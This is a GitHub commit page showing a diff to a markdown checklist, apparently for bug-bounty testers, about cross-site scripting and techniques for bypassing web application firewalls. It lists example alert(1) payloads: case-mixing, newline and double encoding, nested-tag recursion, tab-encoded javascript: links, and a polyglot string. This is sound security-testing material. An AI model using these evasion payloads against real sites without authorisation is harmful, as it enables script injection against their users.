Skip to content

Commit

Permalink
Update Xss.md
Browse files Browse the repository at this point in the history
  • Loading branch information
KathanP19 authored Oct 6, 2020
1 parent d016440 commit a13a8eb
Showing 1 changed file with 25 additions and 33 deletions.
58 changes: 25 additions & 33 deletions XSS/Xss.md
Original file line number Diff line number Diff line change
Expand Up @@ -108,50 +108,42 @@ Similar to Reflected Xss Or Stored Xss But you Dont get any reflection, but you
- ```javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>```
- https://gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626

------
#### XSS Firewall Bypass Techniques

1.Check if the firewall is blocking only lowercase
### XSS Firewall Bypass Techniques

* Check if the firewall is blocking only lowercase
```
Ex:- <scRipT>alert(1)</scRipT>

2.Try to break firewall regex with the new line(\r\n)

```
* Try to break firewall regex with the new line(\r\n)
```
Ex:- <script>%0alert(1)</script>

3.Try Double Encoding

```
* Try Double Encoding
```
Ex:- %2522

4.Testing for recursive filters, if firewall removes text in red, we will have clear payload

```
* Testing for recursive filters, if firewall removes text in red, we will have clear payload
```
Ex:- <src<script>ipt>alert(1);</scr</script>ipt>

5.Injecting anchor tag without whitespaces

```
* Injecting anchor tag without whitespaces
```
Ex:- <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">

6.Try to bypass whitespaces using Bullet

```
* Try to bypass whitespaces using Bullet
```
Ex:- <svg•onload=alert(1)>

7.Try to change request method

```
* Try to change request method
```
Ex:- GET /?q=xss POST/
q=xss


**Credits**

- [sratarun](https://twitter.com/sratarun)


-------

# Thanks To
```
## Thanks To
* [The XSS rat](https://www.youtube.com/channel/UCjBhClJ59W4hfUly51i11hg)
* [sratarun](https://twitter.com/sratarun)

# Reference
## Reference
* [https://github.com/heilla/SecurityTesting/blob/master/HuntingCheckList.md](https://github.com/heilla/SecurityTesting/blob/master/HuntingCheckList.md)

### Authors
Expand Down

0 comments on commit a13a8eb

Please sign in to comment.